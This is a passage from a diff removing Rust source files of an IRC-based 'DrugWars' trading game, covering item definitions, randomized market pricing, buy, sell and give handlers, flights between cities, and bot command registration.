|
||||
/ (owned_item.amount as u128 + amount as u128);
|
||||
|
||||
owned_item.amount += amount;
|
||||
owned_item.bought_at = average_price;
|
||||
}
|
||||
|
||||
pub fn sub_item_local(&mut self, item_name: &str, amount: usize) {
|
||||
let location = self.location.clone();
|
||||
self.sub_item_at(&location, item_name, amount);
|
||||
}
|
||||
|
||||
pub fn sub_item_at(&mut self, location: &str, item_name: &str, amount: usize) {
|
||||
let owned_items = self.owned_items.get_mut(location).unwrap();
|
||||
|
||||
let owned_item = match owned_items.entry(item_name.to_owned()) {
|
||||
std::collections::hash_map::Entry::Occupied(o) => o.into_mut(),
|
||||
std::collections::hash_map::Entry::Vacant(v) => v.insert(OwnedItem {
|
||||
amount: 0,
|
||||
bought_at: 0,
|
||||
}),
|
||||
};
|
||||
|
||||
owned_item.amount -= amount;
|
||||
}
|
||||
}
|
@ -1,103 +0,0 @@
|
||||
use std::collections::{HashMap, HashSet};
|
||||
|
||||
use chrono::NaiveDate;
|
||||
|
||||
#[derive(Clone, Copy, Debug, Hash, PartialEq, Eq)]
|
||||
pub enum MessageKind {
|
||||
RumorUpHere,
|
||||
RumorDownHere,
|
||||
RumorUpAt,
|
||||
RumorDownAt,
|
||||
Welcome,
|
||||
PriceUp,
|
||||
PriceUpEnd,
|
||||
PriceDown,
|
||||
PriceDownEnd,
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct Drug {
|
||||
pub nominal_price: u128,
|
||||
}
|
||||
|
||||
pub struct Weapon {
|
||||
pub nominal_price: u128,
|
||||
pub ammo: Option<String>,
|
||||
pub damage: f32,
|
||||
}
|
||||
|
||||
pub struct Ammo {
|
||||
pub nominal_price: u128,
|
||||
}
|
||||
|
||||
pub struct Armor {
|
||||
pub nominal_price: u128,
|
||||
pub block: f32,
|
||||
}
|
||||
|
||||
pub struct NoScent {
|
||||
pub nominal_price: u128,
|
||||
pub capacity: usize,
|
||||
}
|
||||
|
||||
pub enum Item {
|
||||
Weapon(Weapon),
|
||||
Ammo(Ammo),
|
||||
Armor(Armor),
|
||||
NoScent(NoScent),
|
||||
}
|
||||
|
||||
impl Item {
|
||||
pub fn nominal_price(&self) -> u128 {
|
||||
match self {
|
||||
Item::Weapon(w) => w.nominal_price,
|
||||
Item::Ammo(am) => am.nominal_price,
|
||||
Item::Armor(ar) => ar.nominal_price,
|
||||
Item::NoScent(n) => n.nominal_price,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub struct OwnedDrug {
|
||||
pub amount: usize,
|
||||
pub bought_at: u128,
|
||||
}
|
||||
|
||||
pub struct MarketDrug {
|
||||
pub supply: usize,
|
||||
pub demand: usize,
|
||||
pub price: u128,
|
||||
}
|
||||
|
||||
pub struct OwnedItem {
|
||||
pub amount: usize,
|
||||
pub bought_at: u128,
|
||||
}
|
||||
|
||||
pub struct MarketItem {
|
||||
pub supply: usize,
|
||||
pub demand: usize,
|
||||
pub price: u128,
|
||||
}
|
||||
|
||||
pub struct Location {
|
||||
pub lat: f32,
|
||||
pub long: f32,
|
||||
pub drug_market: HashMap<String, MarketDrug>,
|
||||
pub item_market: HashMap<String, MarketItem>,
|
||||
pub messages: Vec<String>,
|
||||
pub blokes: HashSet<String>,
|
||||
}
|
||||
|
||||
pub struct Settings {
|
||||
pub day_duration: u32,
|
||||
pub current_day: NaiveDate,
|
||||
}
|
||||
|
||||
|
||||
|
||||
#[derive(PartialEq, Eq)]
|
||||
pub enum DealerStatus {
|
||||
Available,
|
||||
Flying
|
||||
}
|
@ -1,553 +0,0 @@
|
||||
use std::{
|
||||
collections::{HashMap, HashSet},
|
||||
str::FromStr,
|
||||
time::SystemTime,
|
||||
};
|
||||
|
||||
use chrono::{Duration, NaiveDate};
|
||||
use irc::Irc;
|
||||
use rand::{Rng, RngCore};
|
||||
use rand_distr::{Distribution, Normal};
|
||||
|
||||
use crate::{
|
||||
config::DrugWarsConfig,
|
||||
dealer::Dealer,
|
||||
definitions::{
|
||||
Ammo, Armor, DealerStatus, Drug, Item, Location, MarketDrug, MarketItem, MessageKind,
|
||||
NoScent, Settings, Weapon,
|
||||
},
|
||||
utils::{capacity_price, get_flight_price, pretty_print_money},
|
||||
};
|
||||
|
||||
pub struct DrugWars {
|
||||
pub settings: Settings,
|
||||
pub timer: SystemTime,
|
||||
pub dealers: HashMap<String, Dealer>,
|
||||
pub locations: HashMap<String, Location>,
|
||||
pub flights: HashMap<String, String>,
|
||||
pub drugs: HashMap<String, Drug>,
|
||||
pub items: HashMap<String, Item>,
|
||||
pub messages: HashMap<MessageKind, Vec<String>>,
|
||||
}
|
||||
|
||||
impl From<DrugWarsConfig> for DrugWars {
|
||||
fn from(config: DrugWarsConfig) -> Self {
|
||||
let mut locations = HashMap::default();
|
||||
let mut drugs = HashMap::default();
|
||||
let mut items = HashMap::default();
|
||||
let mut messages = HashMap::default();
|
||||
|
||||
for drug in config.drugs {
|
||||
let name = drug.as_mapping().unwrap()["name"].as_str().unwrap();
|
||||
let price = drug.as_mapping().unwrap()["price"].as_f64().unwrap();
|
||||
drugs.insert(
|
||||
name.to_owned(),
|
||||
Drug {
|
||||
nominal_price: (price * 10000.) as u128,
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
let weapons = config.items["weapons"]
|
||||
.as_sequence()
|
||||
.unwrap()
|
||||
.iter()
|
||||
.map(|value| value.as_mapping().unwrap())
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
for weapon in weapons {
|
||||
let name = weapon["name"].as_str().unwrap();
|
||||
let price = weapon["price"].as_f64().unwrap();
|
||||
let damage = weapon["damage"].as_f64().unwrap() as f32;
|
||||
|
||||
let mut ammo = None;
|
||||
|
||||
if weapon.contains_key("ammo") {
|
||||
ammo = Some(weapon["ammo"].as_str().unwrap().to_owned())
|
||||
}
|
||||
|
||||
items.insert(
|
||||
name.to_owned(),
|
||||
Item::Weapon(Weapon {
|
||||
nominal_price: (price * 10000.) as u128,
|
||||
ammo,
|
||||
damage,
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
let ammos = config.items["ammos"]
|
||||
.as_sequence()
|
||||
.unwrap()
|
||||
.iter()
|
||||
.map(|value| value.as_mapping().unwrap())
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
for ammo in ammos {
|
||||
let name = ammo["name"].as_str().unwrap();
|
||||
let price = ammo["price"].as_f64().unwrap();
|
||||
|
||||
items.insert(
|
||||
name.to_owned(),
|
||||
Item::Ammo(Ammo {
|
||||
nominal_price: (price * 10000.) as u128,
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
let armors = config.items["armors"]
|
||||
.as_sequence()
|
||||
.unwrap()
|
||||
.iter()
|
||||
.map(|value| value.as_mapping().unwrap())
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
for armor in armors {
|
||||
let name = armor["name"].as_str().unwrap();
|
||||
let price = armor["price"].as_f64().unwrap();
|
||||
let block = armor["block"].as_f64().unwrap() as f32;
|
||||
|
||||
items.insert(
|
||||
name.to_owned(),
|
||||
Item::Armor(Armor {
|
||||
nominal_price: (price * 10000.) as u128,
|
||||
block,
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
let no_scents = config.items["no_scents"]
|
||||
.as_sequence()
|
||||
.unwrap()
|
||||
.iter()
|
||||
.map(|value| value.as_mapping().unwrap())
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
for no_scent in no_scents {
|
||||
let name = no_scent["name"].as_str().unwrap();
|
||||
let price = no_scent["price"].as_f64().unwrap();
|
||||
let capacity = no_scent["capacity"].as_u64().unwrap() as usize;
|
||||
|
||||
items.insert(
|
||||
name.to_owned(),
|
||||
Item::NoScent(NoScent {
|
||||
nominal_price: (price * 10000.) as u128,
|
||||
capacity,
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
for location in config.locations {
|
||||
let name = location.as_mapping().unwrap()["name"].as_str().unwrap();
|
||||
let lat = location.as_mapping().unwrap()["position"]
|
||||
.as_mapping()
|
||||
.unwrap()["lat"]
|
||||
.as_f64()
|
||||
.unwrap() as f32;
|
||||
let long = location.as_mapping().unwrap()["position"]
|
||||
.as_mapping()
|
||||
.unwrap()["long"]
|
||||
.as_f64()
|
||||
.unwrap() as f32;
|
||||
|
||||
locations.insert(
|
||||
name.to_owned(),
|
||||
Location {
|
||||
lat,
|
||||
long,
|
||||
drug_market: HashMap::default(),
|
||||
item_market: HashMap::default(),
|
||||
messages: vec![],
|
||||
blokes: HashSet::default(),
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
// OH LOOK ! I'M FUCKING SLEEP DEPRIVATED !
|
||||
for (val_str, enum_variant) in [
|
||||
("rumor_up_here", MessageKind::RumorUpHere),
|
||||
("rumor_down_here", MessageKind::RumorDownHere),
|
||||
("rumor_up_at", MessageKind::RumorUpAt),
|
||||
("rumor_down_at", MessageKind::RumorDownAt),
|
||||
("welcome", MessageKind::Welcome),
|
||||
("price_up", MessageKind::PriceUp),
|
||||
("price_up_end", MessageKind::PriceUpEnd),
|
||||
("price_down", MessageKind::PriceDown),
|
||||
("price_down_end", MessageKind::PriceDownEnd),
|
||||
] {
|
||||
let msgs = &config.messages[val_str].as_sequence().unwrap();
|
||||
for msg in *msgs {
|
||||
let message_vec = messages.entry(enum_variant).or_insert_with(|| vec![]);
|
||||
message_vec.push(msg.as_str().unwrap().to_owned());
|
||||
}
|
||||
}
|
||||
|
||||
let day_duration = config.settings["day_duration"].as_u64().unwrap() as u32;
|
||||
let current_day_str = config.settings["start_day"].as_str().unwrap();
|
||||
|
||||
Self {
|
||||
settings: Settings {
|
||||
day_duration,
|
||||
current_day: NaiveDate::from_str(current_day_str).unwrap(),
|
||||
},
|
||||
timer: SystemTime::now(),
|
||||
dealers: HashMap::default(),
|
||||
locations,
|
||||
flights: HashMap::default(),
|
||||
drugs,
|
||||
items,
|
||||
messages,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl DrugWars {
|
||||
pub fn load_config(path: &str) -> Self {
|
||||
let config = DrugWarsConfig::from_file(path).unwrap();
|
||||
|
||||
config.into()
|
||||
}
|
||||
|
||||
pub fn init(&mut self) {
|
||||
println!("initializing.");
|
||||
let mut rng = rand::thread_rng();
|
||||
|
||||
self.update_markets(&mut rng);
|
||||
}
|
||||
|
||||
fn update_markets(&mut self, rng: &mut dyn RngCore) {
|
||||
for (_, location) in &mut self.locations {
|
||||
location.drug_market.clear();
|
||||
location.item_market.clear();
|
||||
|
||||
for (drug_name, drug) in &self.drugs {
|
||||
if rng.gen_bool(4. / 5.) {
|
||||
continue;
|
||||
};
|
||||
|
||||
let float_price = (drug.nominal_price as f32) / 10000.;
|
||||
|
||||
let normal = Normal::new(float_price, float_price / 2.).unwrap();
|
||||
|
||||
location.drug_market.insert(
|
||||
drug_name.clone(),
|
||||
MarketDrug {
|
||||
supply: rng.gen_range(0..1000),
|
||||
demand: rng.gen_range(0..1000),
|
||||
price: (normal.sample(rng) * 10000.) as u128,
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
for (item_name, item) in &self.items {
|
||||
if rng.gen_bool(4. / 5.) {
|
||||
continue;
|
||||
};
|
||||
|
||||
let float_price = (item.nominal_price() as f32) / 10000.;
|
||||
|
||||
let normal = Normal::new(float_price, float_price / 2.).unwrap();
|
||||
|
||||
location.item_market.insert(
|
||||
item_name.clone(),
|
||||
MarketItem {
|
||||
supply: rng.gen_range(0..1000),
|
||||
demand: rng.gen_range(0..1000),
|
||||
price: (normal.sample(rng) * 10000.) as u128,
|
||||
},
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub fn new_day(&mut self, irc: &mut Irc) {
|
||||
let Ok(elapsed) = self.timer.elapsed() else { return; };
|
||||
|
||||
if elapsed.as_secs_f32() > self.settings.day_duration as f32 {
|
||||
irc.privmsg_all("new day!");
|
||||
|
||||
self.timer = SystemTime::now();
|
||||
self.settings.current_day += Duration::days(1);
|
||||
|
||||
for (nick, destination) in &mut self.flights.clone() {
|
||||
let dealer = self.get_dealer_mut(nick).unwrap();
|
||||
|
||||
// Should do mem trick at other places...
|
||||
irc.privmsg_all(&format!("{}: You landed at {}", nick, destination));
|
||||
dealer.location = std::mem::take(destination);
|
||||
dealer.status = DealerStatus::Available;
|
||||
|
||||
let location = self.locations.get_mut(destination).unwrap();
|
||||
location.blokes.insert(nick.clone());
|
||||
}
|
||||
|
||||
self.flights.clear();
|
||||
|
||||
let mut rng = rand::thread_rng();
|
||||
self.update_markets(&mut rng);
|
||||
}
|
||||
}
|
||||
|
||||
pub fn get_dealer(&self, nick: &str) -> Option<&Dealer> {
|
||||
self.dealers.get(nick)
|
||||
}
|
||||
|
||||
pub fn get_dealer_mut(&mut self, nick: &str) -> Option<&mut Dealer> {
|
||||
self.dealers.get_mut(nick)
|
||||
}
|
||||
|
||||
pub fn dealer_not_registered(&self, nick: &str) -> Vec<String> {
|
||||
vec![format!("{} is not registered.", nick)]
|
||||
}
|
||||
|
||||
pub fn dealer_not_available(&self, nick: &str) -> Vec<String> {
|
||||
let dealer = self.get_dealer(nick).unwrap();
|
||||
|
||||
match dealer.status {
|
||||
DealerStatus::Flying => vec![format!("{}: Can't do business while flying", nick)],
|
||||
_ => vec![],
|
||||
}
|
||||
}
|
||||
|
||||
pub fn _buy_drug(
|
||||
&mut self,
|
||||
nick: &str,
|
||||
drug_name: &str,
|
||||
amount: usize,
|
||||
price: u128,
|
||||
) -> Vec<String> {
|
||||
let total_price = price * amount as u128;
|
||||
|
||||
let mut location = String::new();
|
||||
|
||||
let dealer = self.get_dealer_mut(nick).unwrap();
|
||||
dealer.money -= total_price;
|
||||
dealer.add_drug_local(drug_name, amount, price);
|
||||
location += &dealer.location;
|
||||
|
||||
let location = self.locations.get_mut(&location).unwrap();
|
||||
let market_drug = location.drug_market.get_mut(drug_name).unwrap();
|
||||
market_drug.supply -= amount;
|
||||
market_drug.demand += amount;
|
||||
|
||||
vec![format!(
|
||||
"{}: you bought {} {} for {}",
|
||||
nick,
|
||||
amount,
|
||||
drug_name,
|
||||
pretty_print_money(total_price)
|
||||
)]
|
||||
}
|
||||
|
||||
pub fn _sell_drug(
|
||||
&mut self,
|
||||
nick: &str,
|
||||
drug_name: &str,
|
||||
amount: usize,
|
||||
price: u128,
|
||||
) -> Vec<String> {
|
||||
let total_price = price * amount as u128;
|
||||
|
||||
let mut location = String::new();
|
||||
|
||||
let dealer = self.get_dealer_mut(nick).unwrap();
|
||||
dealer.money += total_price;
|
||||
dealer.sub_drug_local(drug_name, amount);
|
||||
location += &dealer.location;
|
||||
|
||||
let location = self.locations.get_mut(&location).unwrap();
|
||||
let market_drug = location.drug_market.get_mut(drug_name).unwrap();
|
||||
market_drug.supply += amount;
|
||||
market_drug.demand -= amount;
|
||||
|
||||
vec![format!(
|
||||
"{}: you sold {} {} for {}",
|
||||
nick,
|
||||
amount,
|
||||
drug_name,
|
||||
pretty_print_money(total_price)
|
||||
)]
|
||||
}
|
||||
|
||||
pub fn _buy_item(
|
||||
&mut self,
|
||||
nick: &str,
|
||||
item_name: &str,
|
||||
amount: usize,
|
||||
price: u128,
|
||||
) -> Vec<String> {
|
||||
let total_price = price * amount as u128;
|
||||
|
||||
let mut location = String::new();
|
||||
|
||||
let dealer = self.get_dealer_mut(nick).unwrap();
|
||||
dealer.money -= total_price;
|
||||
dealer.add_item_local(item_name, amount, price);
|
||||
location += &dealer.location;
|
||||
|
||||
let location = self.locations.get_mut(&location).unwrap();
|
||||
let market_item = location.item_market.get_mut(item_name).unwrap();
|
||||
market_item.supply -= amount;
|
||||
market_item.demand += amount;
|
||||
|
||||
vec![format!(
|
||||
"{}: you bought {} {} for {}",
|
||||
nick,
|
||||
amount,
|
||||
item_name,
|
||||
pretty_print_money(total_price)
|
||||
)]
|
||||
}
|
||||
|
||||
pub fn _sell_item(
|
||||
&mut self,
|
||||
nick: &str,
|
||||
item_name: &str,
|
||||
amount: usize,
|
||||
price: u128,
|
||||
) -> Vec<String> {
|
||||
let total_price = price * amount as u128;
|
||||
|
||||
let mut location = String::new();
|
||||
|
||||
let dealer = self.get_dealer_mut(nick).unwrap();
|
||||
dealer.money += total_price;
|
||||
dealer.sub_item_local(item_name, amount);
|
||||
location += &dealer.location;
|
||||
|
||||
let location = self.locations.get_mut(&location).unwrap();
|
||||
let market_item = location.item_market.get_mut(item_name).unwrap();
|
||||
market_item.supply += amount;
|
||||
market_item.demand -= amount;
|
||||
|
||||
vec![format!(
|
||||
"{}: you sold {} {} for {}",
|
||||
nick,
|
||||
amount,
|
||||
item_name,
|
||||
pretty_print_money(total_price)
|
||||
)]
|
||||
}
|
||||
|
||||
pub fn _give_money(&mut self, nick: &str, bloke_nick: &str, money: u128) -> Vec<String> {
|
||||
let dealer = self.get_dealer_mut(nick).unwrap();
|
||||
dealer.money -= money;
|
||||
|
||||
let bloke = self.get_dealer_mut(bloke_nick).unwrap();
|
||||
bloke.money += money;
|
||||
|
||||
vec![format!(
|
||||
"{}: you gave {} {}",
|
||||
nick,
|
||||
bloke_nick,
|
||||
pretty_print_money(money),
|
||||
)]
|
||||
}
|
||||
|
||||
pub fn _give_drug(
|
||||
&mut self,
|
||||
nick: &str,
|
||||
bloke_nick: &str,
|
||||
drug_name: &str,
|
||||
amount: usize,
|
||||
) -> Vec<String> {
|
||||
let dealer = self.get_dealer_mut(nick).unwrap();
|
||||
dealer.sub_drug_local(drug_name, amount);
|
||||
|
||||
let bloke = self.get_dealer_mut(bloke_nick).unwrap();
|
||||
bloke.add_drug_local(drug_name, amount, 0);
|
||||
|
||||
vec![format!(
|
||||
"{}: you gave {} {} to {}",
|
||||
nick, amount, drug_name, bloke_nick
|
||||
)]
|
||||
}
|
||||
|
||||
pub fn _give_item(
|
||||
&mut self,
|
||||
nick: &str,
|
||||
bloke_nick: &str,
|
||||
item_name: &str,
|
||||
amount: usize,
|
||||
) -> Vec<String> {
|
||||
let dealer = self.get_dealer_mut(nick).unwrap();
|
||||
dealer.sub_item_local(item_name, amount);
|
||||
|
||||
let bloke = self.get_dealer_mut(bloke_nick).unwrap();
|
||||
bloke.add_item_local(item_name, amount, 0);
|
||||
|
||||
vec![format!(
|
||||
"{}: you gave {} {} to {}",
|
||||
nick, amount, item_name, bloke_nick
|
||||
)]
|
||||
}
|
||||
|
||||
pub fn _fly_to(&mut self, nick: &str, destination_name: &str) -> Vec<String> {
|
||||
let dealer = self.get_dealer(nick).unwrap();
|
||||
let current_location = self.locations.get(&dealer.location).unwrap();
|
||||
let destination = self.locations.get(destination_name).unwrap();
|
||||
|
||||
let price = get_flight_price(current_location, destination);
|
||||
|
||||
let current_location = self.locations.get_mut(&dealer.location.clone()).unwrap();
|
||||
current_location.blokes.remove(nick);
|
||||
|
||||
let dealer = self.get_dealer_mut(nick).unwrap();
|
||||
|
||||
dealer.money -= price;
|
||||
dealer.status = DealerStatus::Flying;
|
||||
|
||||
self.flights
|
||||
.insert(nick.to_string(), destination_name.to_owned());
|
||||
|
||||
vec![format!(
|
||||
"{}: you take a flight to {} for {}. You'll arrive tomorrow",
|
||||
nick,
|
||||
destination_name,
|
||||
pretty_print_money(price)
|
||||
)]
|
||||
}
|
||||
|
||||
pub fn prices_from(&self, current_location_name: &str) -> Vec<String> {
|
||||
let mut lines = vec![];
|
||||
|
||||
let current_location = self.locations.get(current_location_name).unwrap();
|
||||
|
||||
for (location_name, location) in &self.locations {
|
||||
if location_name.as_str() == current_location_name {
|
||||
continue;
|
||||
}
|
||||
|
||||
let price = get_flight_price(current_location, location);
|
||||
|
||||
lines.push(format!(
|
||||
"From `{}` to `{}` -> {}",
|
||||
current_location_name,
|
||||
location_name,
|
||||
pretty_print_money(price)
|
||||
));
|
||||
}
|
||||
|
||||
lines
|
||||
}
|
||||
|
||||
pub fn _buy_capacity(&mut self, nick: &str, amount: usize) -> Vec<String> {
|
||||
let dealer = self.get_dealer_mut(nick).unwrap();
|
||||
|
||||
let Some(price) = capacity_price(dealer.capacity, amount) else {
|
||||
return vec![
|
||||
format!("{}: You won't ever need that much capacity. Will you?", nick)
|
||||
];
|
||||
};
|
||||
|
||||
dealer.money -= price;
|
||||
dealer.capacity += amount;
|
||||
|
||||
return vec![format!(
|
||||
"{}: You bought {} slots for {}",
|
||||
nick,
|
||||
amount,
|
||||
pretty_print_money(price)
|
||||
)];
|
||||
}
|
||||
}
|
@ -1,276 +0,0 @@
|
||||
pub mod config;
|
||||
pub mod drug_wars;
|
||||
pub mod utils;
|
||||
pub mod render;
|
||||
pub mod definitions;
|
||||
pub mod dealer;
|
||||
pub mod api;
|
||||
|
||||
use std::{
|
||||
sync::{Arc, RwLock},
|
||||
time::Duration,
|
||||
};
|
||||
|
||||
use drug_wars::DrugWars;
|
||||
use irc::{typemap::TypeMapKey, Irc, IrcPrefix};
|
||||
|
||||
struct GameManager;
|
||||
|
||||
impl TypeMapKey for GameManager {
|
||||
type Value = Arc<RwLock<DrugWars>>;
|
||||
}
|
||||
|
||||
fn main() {
|
||||
let drug_wars_arc = Arc::new(RwLock::new(DrugWars::load_config("drugwars_config.yaml")));
|
||||
|
||||
{
|
||||
let mut drug_wars = drug_wars_arc.write().unwrap();
|
||||
drug_wars.init();
|
||||
}
|
||||
|
||||
let mut irc = Irc::from_config("irc_config.yaml")
|
||||
.add_resource::<Arc<RwLock<DrugWars>>, GameManager>(drug_wars_arc.clone())
|
||||
.add_default_system(melp)
|
||||
.add_system("register", register)
|
||||
.add_system("todo", todo)
|
||||
.add_system("p", show_page)
|
||||
.add_system("mw", set_max_width)
|
||||
.add_system("gm", give_money)
|
||||
.add_system("gd", give_drug)
|
||||
.add_system("gi", give_item)
|
||||
.add_system("bd", buy_drug)
|
||||
.add_system("sd", sell_drug)
|
||||
.add_system("bi", buy_item)
|
||||
.add_system("bc", buy_capacity)
|
||||
.add_system("cc", check_capacity_price)
|
||||
.add_system("si", sell_item)
|
||||
.add_system("fp", check_flight_prices)
|
||||
.add_system("f", flight)
|
||||
.build();
|
||||
|
||||
irc.connect().unwrap();
|
||||
irc.register();
|
||||
|
||||
loop {
|
||||
{
|
||||
let mut drug_wars = drug_wars_arc.write().unwrap();
|
||||
drug_wars.new_day(&mut irc);
|
||||
}
|
||||
irc.update();
|
||||
std::thread::sleep(Duration::from_millis(50));
|
||||
}
|
||||
}
|
||||
|
||||
fn register(irc: &mut Irc, prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
|
||||
let data = irc.data().get::<GameManager>().unwrap();
|
||||
let mut drug_wars = data.write().unwrap();
|
||||
Some(drug_wars.register_dealer(prefix.nick))
|
||||
}
|
||||
|
||||
fn show_page(irc: &mut Irc, prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
|
||||
let data = irc.data().get::<GameManager>().unwrap();
|
||||
let drug_wars = data.read().unwrap();
|
||||
Some(drug_wars.show_page_for_nick(prefix.nick))
|
||||
}
|
||||
|
||||
fn melp(_irc: &mut Irc, _prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
|
||||
Some(vec!["melp?".to_owned()])
|
||||
}
|
||||
|
||||
fn set_max_width(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
|
||||
let data = irc.data().get::<GameManager>().unwrap();
|
||||
|
||||
let Ok(size) = arguments[0].parse::<usize>() else {
|
||||
return Some(vec![
|
||||
format!(
|
||||
"{}: Unable to parse {} as usize",
|
||||
prefix.nick, arguments[1]
|
||||
)
|
||||
]);
|
||||
};
|
||||
|
||||
if size < 75 || size > 130 {
|
||||
return Some(vec![
|
||||
format!("{}: Size must be between 75 and 130", prefix.nick)
|
||||
])
|
||||
}
|
||||
|
||||
let mut drug_wars = data.write().unwrap();
|
||||
Some(drug_wars.set_dealer_max_width(prefix.nick, size))
|
||||
}
|
||||
|
||||
fn todo(_irc: &mut Irc, prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
|
||||
Some(vec![
|
||||
format!("{}: list of things to add:", prefix.nick),
|
||||
"- encounters".to_owned(),
|
||||
"- usage of items".to_owned(),
|
||||
"- messages / rumors, the fun stuff".to_owned(),
|
||||
"- save / load game".to_owned(),
|
||||
"- shipping".to_owned(),
|
||||
"- attack blokes @ same city".to_owned(),
|
||||
"- some kind of flood protection".to_owned(),
|
||||
"- some kind of spam protection".to_owned(),
|
||||
"- single rng shared everywher".to_owned(),
|
||||
"- refactor all this shit".to_owned(),
|
||||
"- colors ^-^".to_owned(),
|
||||
])
|
||||
}
|
||||
|
||||
fn buy_drug(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
|
||||
let data = irc.data().get::<GameManager>().unwrap();
|
||||
let Ok(amount) = arguments[1].parse::<usize>() else {
|
||||
return Some(vec![
|
||||
format!(
|
||||
"{}: Unable to parse {} as usize",
|
||||
prefix.nick, arguments[1]
|
||||
)
|
||||
]);
|
||||
};
|
||||
|
||||
let mut drug_wars = data.write().unwrap();
|
||||
Some(drug_wars.buy_drug(prefix.nick, arguments[0], amount))
|
||||
}
|
||||
|
||||
fn sell_drug(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
|
||||
let data = irc.data().get::<GameManager>().unwrap();
|
||||
|
||||
let Ok(amount) = arguments[1].parse::<usize>() else {
|
||||
return Some(vec![
|
||||
format!(
|
||||
"{}: Unable to parse {} as usize",
|
||||
prefix.nick, arguments[1]
|
||||
)
|
||||
]);
|
||||
};
|
||||
|
||||
let mut drug_wars = data.write().unwrap();
|
||||
Some(drug_wars.sell_drug(prefix.nick, arguments[0], amount))
|
||||
}
|
||||
|
||||
fn buy_item(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
|
||||
let data = irc.data().get::<GameManager>().unwrap();
|
||||
|
||||
let Ok(amount) = arguments[1].parse::<usize>() else {
|
||||
return Some(vec![
|
||||
format!(
|
||||
"{}: Unable to parse {} as usize",
|
||||
prefix.nick, arguments[1]
|
||||
)
|
||||
]);
|
||||
};
|
||||
|
||||
let mut drug_wars = data.write().unwrap();
|
||||
Some(drug_wars.buy_item(prefix.nick, arguments[0], amount))
|
||||
}
|
||||
|
||||
fn sell_item(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
|
||||
let data = irc.data().get::<GameManager>().unwrap();
|
||||
let Ok(amount) = arguments[1].parse::<usize>() else {
|
||||
return Some(vec![
|
||||
format!(
|
||||
"{}: Unable to parse {} as usize",
|
||||
prefix.nick, arguments[1]
|
||||
)
|
||||
]);
|
||||
};
|
||||
|
||||
let mut drug_wars = data.write().unwrap();
|
||||
Some(drug_wars.sell_item(prefix.nick, arguments[0], amount))
|
||||
}
|
||||
|
||||
fn check_flight_prices(irc: &mut Irc, prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
|
||||
let data = irc.data().get::<GameManager>().unwrap();
|
||||
let drug_wars = data.write().unwrap();
|
||||
Some(drug_wars.check_flight_prices(prefix.nick))
|
||||
}
|
||||
|
||||
fn flight(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
|
||||
let data = irc.data().get::<GameManager>().unwrap();
|
||||
let mut drug_wars = data.write().unwrap();
|
||||
Some(drug_wars.fly_to(prefix.nick, arguments[0]))
|
||||
}
|
||||
|
||||
fn give_money(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
|
||||
let data = irc.data().get::<GameManager>().unwrap();
|
||||
let Ok(amount) = arguments[1].parse::<f64>() else {
|
||||
return Some(vec![
|
||||
format!(
|
||||
"{}: Unable to parse `{}` as f64",
|
||||
prefix.nick, arguments[1]
|
||||
)
|
||||
]);
|
||||
};
|
||||
|
||||
if amount < 0. {
|
||||
return Some(vec![
|
||||
format!(
|
||||
"{}: Can't give negative money",
|
||||
prefix.nick
|
||||
)
|
||||
]);
|
||||
}
|
||||
|
||||
let mut drug_wars = data.write().unwrap();
|
||||
Some(drug_wars.give_money(prefix.nick, amount, arguments[0]))
|
||||
}
|
||||
|
||||
fn give_drug(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
|
||||
let data = irc.data().get::<GameManager>().unwrap();
|
||||
let Ok(amount) = arguments[2].parse::<usize>() else {
|
||||
return Some(vec![
|
||||
format!(
|
||||
"{}: Unable to parse {} as usize",
|
||||
prefix.nick, arguments[2]
|
||||
)
|
||||
]);
|
||||
};
|
||||
|
||||
let mut drug_wars = data.write().unwrap();
|
||||
Some(drug_wars.give_drug(prefix.nick, arguments[1], amount, arguments[0]))
|
||||
}
|
||||
|
||||
fn give_item(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
|
||||
let data = irc.data().get::<GameManager>().unwrap();
|
||||
let Ok(amount) = arguments[2].parse::<usize>() else {
|
||||
return Some(vec![
|
||||
format!(
|
||||
"{}: Unable to parse {} as usize",
|
||||
prefix.nick, arguments[2]
|
||||
)
|
||||
]);
|
||||
};
|
||||
|
||||
let mut drug_wars = data.write().unwrap();
|
||||
Some(drug_wars.give_item(prefix.nick, arguments[1], amount, arguments[0]))
|
||||
}
|
||||
|
||||
fn buy_capacity(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
|
||||
let data = irc.data().get::<GameManager>().unwrap();
|
||||
let Ok(amount) = arguments[0].parse::<usize>() else {
|
||||
return Some(vec![
|
||||
format!(
|
||||
"{}: Unable to parse {} as usize",
|
||||
prefix.nick, arguments[0]
|
||||
)
